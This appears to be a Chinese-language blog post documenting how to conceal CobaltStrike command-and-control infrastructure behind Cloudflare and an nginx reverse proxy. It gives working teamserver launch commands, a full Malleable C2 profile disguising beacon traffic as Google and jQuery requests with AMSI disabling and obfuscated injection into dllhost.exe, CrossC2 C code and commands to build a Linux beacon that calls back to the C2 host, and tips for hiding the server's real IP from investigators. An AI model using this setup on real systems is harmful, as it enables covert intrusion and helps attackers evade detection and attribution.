0x01 前言
CobaltStrike在使用过程中经常会涉及到一些安全隐藏方面的配置,我使用的方案是CDN加上nginx转发,再使用profile来修改流量特征,本文对一些细节上的点进行记录,方便以后查阅。首先是域名和CDN上的配置,然后是CobaltStrike一些证书、profile的配置,最后是前置服务器(nginx)的一些配置方法。
0x02 CDN和域名相关配置
在freenom申请测试域名(google.tk)后,到cloudflare中获取名称服务器地址:
然后在freenom中配置:
CDN中配置A记录,解析IP,并使用代理:
这样就能使用cloudflare的CDN加速了,然后开启nginx,配置server_name,访问:
接下来为域名配置源服务器证书,选择创建证书:
将获取到的证书和key文件配置在nginx中,在ubuntu上修改nginx配置文件 /etc/nginx/nginx.conf
::
server {
listen 443 ssl;
server_name m.test.com;
ssl_certificate key/xxx.com_ssl.pem;
ssl_certificate_key key/xxx.com_key;
ssl_session_timeout 5m;
ssl_ciphers TLS13-AES-256-GCM-SHA384:TLS13-CHACHA20-POLY1305-SHA256:TLS13-AES-128-GCM-SHA256:TLS13-AES-128-CCM-8-SHA256:TLS13-AES-128-CCM-SHA256:EECDH+CHACHA20:EECDH+AES128:RSA+AES128:EECDH+AES256:RSA+AES256:EECDH+3DES:RSA+3DES:!MD5;
ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
location / {
root /var/www/html;
index index.html index.htm;
}
}
配置好了 nginx -t
检查,然后nginx -s reload
重载配置:
证书配置好以后,在cloudflare中将SSL/TLS加密模式设置为严格:
访问域名,严格的https已经启用,从客户端到CDN,CDN到服务器全部使用HTTPS:
0x03 nginx的反向代理配置
反向代理配置就是匹配到特定的路径时,nginx将流量转发到后端的CobaltStrike处理,主要有四个路径,用于心跳和接收命令的GET包,用于返回命令执行结果等的POST包,剩下两个是x86和x64的stager,然后匹配到了就使用proxy_pass转发,比如后面会用到jq的profile,在profile中很容易找到这些url,然后配置nginx.conf关键部分如下:
server {
listen 443 ssl;
#要处理的域名
server_name m.test.com;
#证书
ssl_certificate key/xxx.com_ssl.pem;
ssl_certificate_key key/xxx.com_key;
ssl_session_timeout 5m;
ssl_ciphers TLS13-AES-256-GCM-SHA384:TLS13-CHACHA20-POLY1305-SHA256:TLS13-AES-128-GCM-SHA256:TLS13-AES-128-CCM-8-SHA256:TLS13-AES-128-CCM-SHA256:EECDH+CHACHA20:EECDH+AES128:RSA+AES128:EECDH+AES256:RSA+AES256:EECDH+3DES:RSA+3DES:!MD5;
ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
#流量转发
location /jquery-3.3.1.slim.min.js {
proxy_pass https://127.0.0.1:60100;
}
location /jquery-3.3.2.slim.min.js {
proxy_pass https://127.0.0.1:60100;
}
location /jquery-3.3.2.min.js {
proxy_pass https://127.0.0.1:60100;
}
location /jquery-3.3.1.min.js {
proxy_pass https://127.0.0.1:60100;
}
#默认首页
location / {
root /var/www/html;
index index.html index.htm;
}
}
0x04 CobaltStrike服务配置
前置nginx基本配置好了后,接下来进行一些CobaltStrike的配置。主要是证书和profile配置。将压缩包上传到服务器解压后:
先用keytool生成证书,这个证书可以用来做为管理端口(默认是50050)或者监听器的端口上的https证书,只要不用默认的随便配置就好:
keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias 1314520.com -validity 50000 -dname "CN=, OU=1314520.com, O=1314520.com, L=Redmond, S=Washington, C=US"
keytool -importkeystore -srckeystore ./cobaltstrike.store -destkeystore ./cobaltstrike.store -deststoretype pkcs12
编辑启动脚本(Linux下的teamserver或者Windows下的teamserver.bat)中的端口和证书配置密码:
java -Dfile.encoding=UTF-8 -XX:ParallelGCThreads=4 -Xms512m -Xmx1024m -Dcobaltstrike.server_port=5555 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer $*
简单的Profile配置
启动参数调好后,Profile是用的malleable-c2,在配置文件中按需修改下面的参数:
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"; # 这个改了不要再变,否则上不了线
set dns_idle "8.8.8.8"; #dns的特征修改
#header "Content-Type" "application/javascript; charset=utf-8"; #注释默认Type,防止cf缓存
然后启动teamserve vpsip Password Profile
,如Linux下:
chmod +x teamserver
./teamserver x.x.x.x password malleable-c2/jquery-c2.4.0.profile
持久化可以将下面的命令写入文件,如start_teamserver,chmod赋予执行权限后,可以方便的使用./start_teamserver启动,停止就用pkill java
,脚本如下:
nohup ./teamserver x.x.x.x password malleable-c2/jquery-c2.4.0.profile >/dev/null 2>&1 &
执行./start_teamserver
后可以尝试链接vps5555端口的teamserver了:
CobaltStrike监听器配置
进入teamserver后,配置监听器。CDN在HTTPS上会检查SNI用不了域前置(http上可以修改host),这里使用加速过的域名:
测试上线时会发现执行命令、执行stager不返回的情况,这是因为cdn的缓存原因,到CDN设置页面规则,对js文件绕过缓存:
配好后清除下缓存:
然后测试上线和命令执行返回:
Linux和Windows中Profile通用配置
有时候我们想使用Crossc2来上线cs,但是我们的windows中配置了profile的,linux无法直接上线,所以需要在Crossc2中配置请求的路径,参考协议演示:
根据demo,准了新的init.profile,init.c
init.profile:
set sample_name "daidaiwoya";
set sleeptime "2000";
set jitter "15";
set useragent "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; rv:11.0) like Gecko";
set host_stage "false";
set maxdns "255";
set dns_max_txt "252";
set dns_idle "8.8.8.8";
set dns_sleep "500";
set dns_stager_prepend ".resources.741256.";
set dns_stager_subhost ".feeds.952365.";
https-certificate {
set C "US";
set CN "jquery.com";
set O "jQuery";
set OU "Certificate Authority";
set validity "365";
}
http-get {
set uri "/getversion";
set verb "GET";
client {
header "Accept" "text/xml";
header "Host" "www.google.com";
header "Referer" "http://www.google.com/";
header "Accept-Encoding" "gzip, deflate";
metadata {
base64url;
prepend "SID=";
header "Cookie";
}
}
server {
header "Server" "nginx";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "charset=utf-8";
header "X-Cache" "bypass";
output {
base64;
prepend "sign=";
append "5.4.3";
print;
}
}
}
http-post {
set uri "/kernel.org";
set verb "POST";
client {
header "Accept" "text/xml";
header "Host" "www.google.com";
header "Referer" "http://www.google.com/";
header "Accept-Encoding" "gzip, deflate";
id {
base64;
prepend "__cfduid=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Server" "nginx";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "charset=utf-8";
header "X-Cache" "bypass";
output {
mask;
base64url;
prepend "sign=";
append "code=2";
print;
}
}
}
post-ex {
set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
set obfuscate "true";
set smartinject "true";
set amsi_disable "true";
}
http-config {
set trust_x_forwarded_for "true";
}
init.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
// gcc -shared profile.c -o libprofile.so
// ./genCrossC2.Linux 192.168.11.1 8086 null libprofile.so Linux x64 ./shell
void cc2_rebind_http_get_send(char *reqData, char **outputData, long long *outputData_len) {
//修改请求URL和c2profile文件中一致
char *requestBody = "GET /%s HTTP/1.1\r\n"
"Host: www.google.com\r\n"
"Accept: text/xml\r\n"
"Accept-Encoding: gzip, br\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; rv:11.0) like Gecko\r\n"
"Cookie: SID=%s\r\n"
//"Referer: https://www.google.com/\r\n"
"Connection: close\r\n\r\n";
char postPayload[20000];
sprintf(postPayload, requestBody, "getversion", reqData);
*outputData_len = strlen(postPayload);
*outputData = (char *)calloc(1, *outputData_len);
memcpy(*outputData, postPayload, *outputData_len);
}
void cc2_rebind_http_post_send(char *reqData, char *id, char **outputData, long long *outputData_len) {
char *requestBody = "POST /%s HTTP/1.1\r\n"
"Host: www.google.com\r\n"
"Accept: text/xml\r\n"
"Accept-Encoding: gzip, br\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; rv:11.0) like Gecko\r\n"
"Cookie: __cfduid=%s\r\n"
"Referer: https://www.google.com/\r\n"
"Connection: close\r\n"
"Content-Length: %d\r\n\r\n%s";
char *postPayload = (char *)calloc(1, strlen(requestBody)+strlen(reqData)+200);
sprintf(postPayload, requestBody, "kernel.org", id, strlen(reqData), reqData);
*outputData_len = strlen(postPayload);
*outputData = (char *)calloc(1, *outputData_len);
memcpy(*outputData, postPayload, *outputData_len);
free(postPayload);
}
char *find_payload(char *rawData, long long rawData_len, char *start, char *end, long long *payload_len) {
//find_payload() 从原始数据中,找到以"ffffffff1"字符串开始,"eeeeeeee2"字符串结束中间包含的数据
// ffffffff1AAAABBBBCCCCDDDDeeeeeeee2 -> AAAABBBBCCCCDDDD
// *payload_len = xx; // 返回找到的payload长度
// return payload; // 返回找到的payload
rawData = strstr(rawData, start) + strlen(start);
*payload_len = strlen(rawData) - strlen(strstr(rawData, end));
char *payload = (char *)calloc(*payload_len ,sizeof(char));
memcpy(payload, rawData, *payload_len);
return payload;
}
void cc2_rebind_http_get_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {
char *start = "sign=";
char *end = "5.4.3";
long long payload_len = 0;
*outputData = find_payload(rawData, rawData_len, start, end, &payload_len);
*outputData_len = payload_len;
}
void cc2_rebind_http_post_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {
char *start = "sign=";
char *end = "code=2";
long long payload_len = 0;
*outputData = find_payload(rawData, rawData_len, start, end, &payload_len);
*outputData_len = payload_len;
}
Profile检查:
java -XX:ParallelGCThreads=4 -Duser.language=en -XX:+UseParallelGC -classpath ./cobaltstrike.jar c2profile.Lint init.profile
使用profile:
cmd /k teamserver_win.bat 192.168.11.1 123456 init.profile
然后在Ubuntu上生成二进制文件:
gcc init.c -fPIC -shared -o init.so
./genCrossC2.Linux41 192.168.11.1 8086 .cobaltstrike.beacon_keys init.so Linux x64 ./shell
然后执行./shell
,成功的返回了beacon:
2.使用CrossC2-C2Profile
在github上看到Richard-Tang师傅实现了jquery-c2.4.0.profile的兼容,进行了测试使用(profile日期报错的时候cs启动参数加上 -Duser.language=en
):
3.Linux在CDN中上线
在CrossC2_v2.24中不使用cdn,使用域名可以正常上线;使用cdn后web无日志,无上线;在v2.2.5中使用域名正常上线,但是心跳不稳定,一会就超时了。
0x04 CDN后获取真实源IP
1.Cloudflare请求会自带X-Forwarded-For头,在nginx中设置一下X-Forwarded-For标头(不设置容易获取到127.0.0.1),CobaltStrike需要在profile中开启 X-Forwarded-For 获取,
nginx.conf:
server {
...
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
#代理到cs
proxy_pass http://127.0.0.1:60100;
}
profile设置:
http-config {
set trust_x_forwarded_for "true";
}
Cloudflare还可以使用标头CF-Connecting-IP来获取真实IP,使用需要开启标头下划线支持,不然不能用这个参数,一般来说使用这个参数获取的比较准确:
server {
listen 80;
server_name _;
access_log logs/cname.log main;
#开启请求中的下划线支持,方便使用自定义的header头
underscores_in_headers on;
#把CF-Connecting-IP请求头设置为X-Forwarded-For
proxy_set_header X-Forwarded-For $http_cf_connecting_ip;
#代理到cs
proxy_pass http://127.0.0.1:60100;
}
2.在nginx中$remote_addr
用来存请求的真实来源IP,一般CDN回源时都会有请求头来记录客户端真实IP(像cf用的上面说的两个,阿里CDN用的Ali-CDN-Real-IP),nginx记录来源IP的参数是$remote_addr
,可以用来在日志中记录IP,使用real_ip_header来设置,比如在Cloudflare中设置$remote_addr
真实来源,在server段中配置日志保存格式和路径,可以很方便的对日志进行分别管理查看:
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
server {
...
server_name www.xx.com;
...
#CDN回源IP段
set_real_ip_from 103.21.244.0/22;
set_real_ip_from 103.22.200.0/22;
set_real_ip_from 103.31.4.0/22;
set_real_ip_from 104.16.0.0/12;
set_real_ip_from 108.162.192.0/18;
set_real_ip_from 131.0.72.0/22;
set_real_ip_from 141.101.64.0/18;
set_real_ip_from 162.158.0.0/15;
set_real_ip_from 172.64.0.0/13;
set_real_ip_from 173.245.48.0/20;
set_real_ip_from 188.114.96.0/20;
set_real_ip_from 190.93.240.0/20;
set_real_ip_from 197.234.240.0/22;
set_real_ip_from 198.41.128.0/17;
set_real_ip_from 2400:cb00::/32;
set_real_ip_from 2606:4700::/32;
set_real_ip_from 2803:f800::/32;
set_real_ip_from 2405:b500::/32;
set_real_ip_from 2405:8100::/32;
set_real_ip_from 2c0f:f248::/32;
set_real_ip_from 2a06:98c0::/29;
set_real_ip_from 127.0.0.1;
#从请求头中获取IP
real_ip_header CF-Connecting-IP;
#将CF-Connecting-IP里不在set_real_ip_from中的IP当做真实IP
real_ip_recursive on;
#使用$remote_addr
proxy_set_header X-Forwarded-For $remote_addr;
#日志记录
access_log logs/www.xx.com.log main;
}
这里要注意一下,如果网站使用了HTTPS,默认情况下CDN会将http重写为https,存在原来80端口的服务访问不了的情况,可以在cdn中关闭自动重写:
0x05 Nginx中server_name的配置
nginx中使用server_name定义虚拟主机名,设置server_name指定要处理的域名:
server {
listen 80;
server_name www.baidu.com;
location / {
return 200 'baidu found!';
}
}
server {
listen 80;
server_name www.qq.com;
location / {
return 200 'qq found!';
}
}
其他的默认情况:
server {
listen 80;
server_name _;
#可以对host进行一些判断
if ($host != "www.qq.com") {
return 501;
}
location / {
return 200;
}
}
0x06 Nginx使用WAF
使用waf可以防御一些恶意扫描,这里使用了openresty来使用lua的waf,将waf代码放到lua/waf下,然后在nginx配置文件http段中添加引入即可:
# WAF
lua_shared_dict limit 50m;
lua_package_path "./lua\waf/?.lua;;";
init_by_lua_file "./lua/waf/init.lua";
access_by_lua_file "./lua/waf/access.lua";
可以在config.lua中进行详细的配置:
触发规则会进行拦截:
各种规则可以在rule-config中详细配置。
0x07 针对来源IP限制返回内容
有时候请求不是走正常路径过来的,可以设置nginx只对CDN来源IP开放访问,其他地址拒绝(这个会和获取真实IP那个冲突,获取真实IP可以写在location块里,就不要写在server里了):
http{
#通过if判断值,如果是是CDN的IP,$allow_ip = 0,否则就是default 1。
geo $allow_ip {
default 1;
173.245.48.0/20 0;
103.21.244.0/22 0;
103.22.200.0/22 0;
103.31.4.0/22 0;
141.101.64.0/18 0;
108.162.192.0/18 0;
190.93.240.0/20 0;
188.114.96.0/20 0;
197.234.240.0/22 0;
198.41.128.0/17 0;
162.158.0.0/15 0;
104.16.0.0/12 0;
172.64.0.0/13 0;
131.0.72.0/22 0;
}
}
server {
listen 80 default;
#任意host
server_name _;
#以http对IP的访问,不是来自允许的源不提供服务,返回301。
if ($allow_ip){return 301;}
location / {
# 返回内容
return 404;
}
}
0x08 防止HTTPS访问IP泄露证书
有时候会发现我们VPS的真实IP泄露了,在nginx配置不当时,就可以通过证书泄露IP,通过fofa看到在该IP上的证书:
如果要防止nginx泄露IP,不能通过下列检查host来防御,依然会返回证书:
if ($host != "www.qq.com") {
return 400;
}
一、可以给IP配置一个自签名的证书,通过https访问IP时返回的就是这个自签名的证书
1.免费证书获取可以在csr.chinassl.net和Let’s Encrypt获取,以csr.chinassl.net为例:
然后下载得到CSR文件和KEY文件,然后上传CSR生成证书即可:
获取后会得到.crt文件,在nginx中配置即可。
当然了,还可以使用使用openssl(windows下载:https://slproweb.com/products/Win32OpenSSL.html)命令生成自签名的证书:
openssl req -x509 -nodes -days 3650 -newkey rsa:2048 -keyout ssl.key -out https.crt
2.nginx配置
server_name配置成任意,作为默认配置,没有匹配到server_name时就返回此处配置内容:
server {
listen 443 ssl;
server_name _;
ssl_certificate key/xxx.com_ssl.crt;
ssl_certificate_key key/xxx.com_key;
ssl_session_timeout 5m;
ssl_ciphers TLS13-AES-256-GCM-SHA384:TLS13-CHACHA20-POLY1305-SHA256:TLS13-AES-128-GCM-SHA256:TLS13-AES-128-CCM-8-SHA256:TLS13-AES-128-CCM-SHA256:EECDH+CHACHA20:EECDH+AES128:RSA+AES128:EECDH+AES256:RSA+AES256:EECDH+3DES:RSA+3DES:!MD5;
ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
location / {
return 404;
}
}
这样一来访问IP就使用这个自签名的证书,访问域名就使用域名的证书,不会造成IP和域名关联。
二、不配置证书,使用CDN灵活模式
灵活模式是指客户端与CDN进行HTTPS通信,CDN与服务器HTTP通信,这样证书来源直接就是CDN的,nginx只需要在80端口配置即可:
边缘证书中设置始终使用HTTPS:
访问网站,查看证书:
这种方式确实灵活,不用配证书,可以将http的访问自动重写为https。还可以在边缘证书中设置一个随机加密(HTTP/2),访问的时候是http,但是会使用加密:
0x09 参考链接
https://github.com/unixhot/waf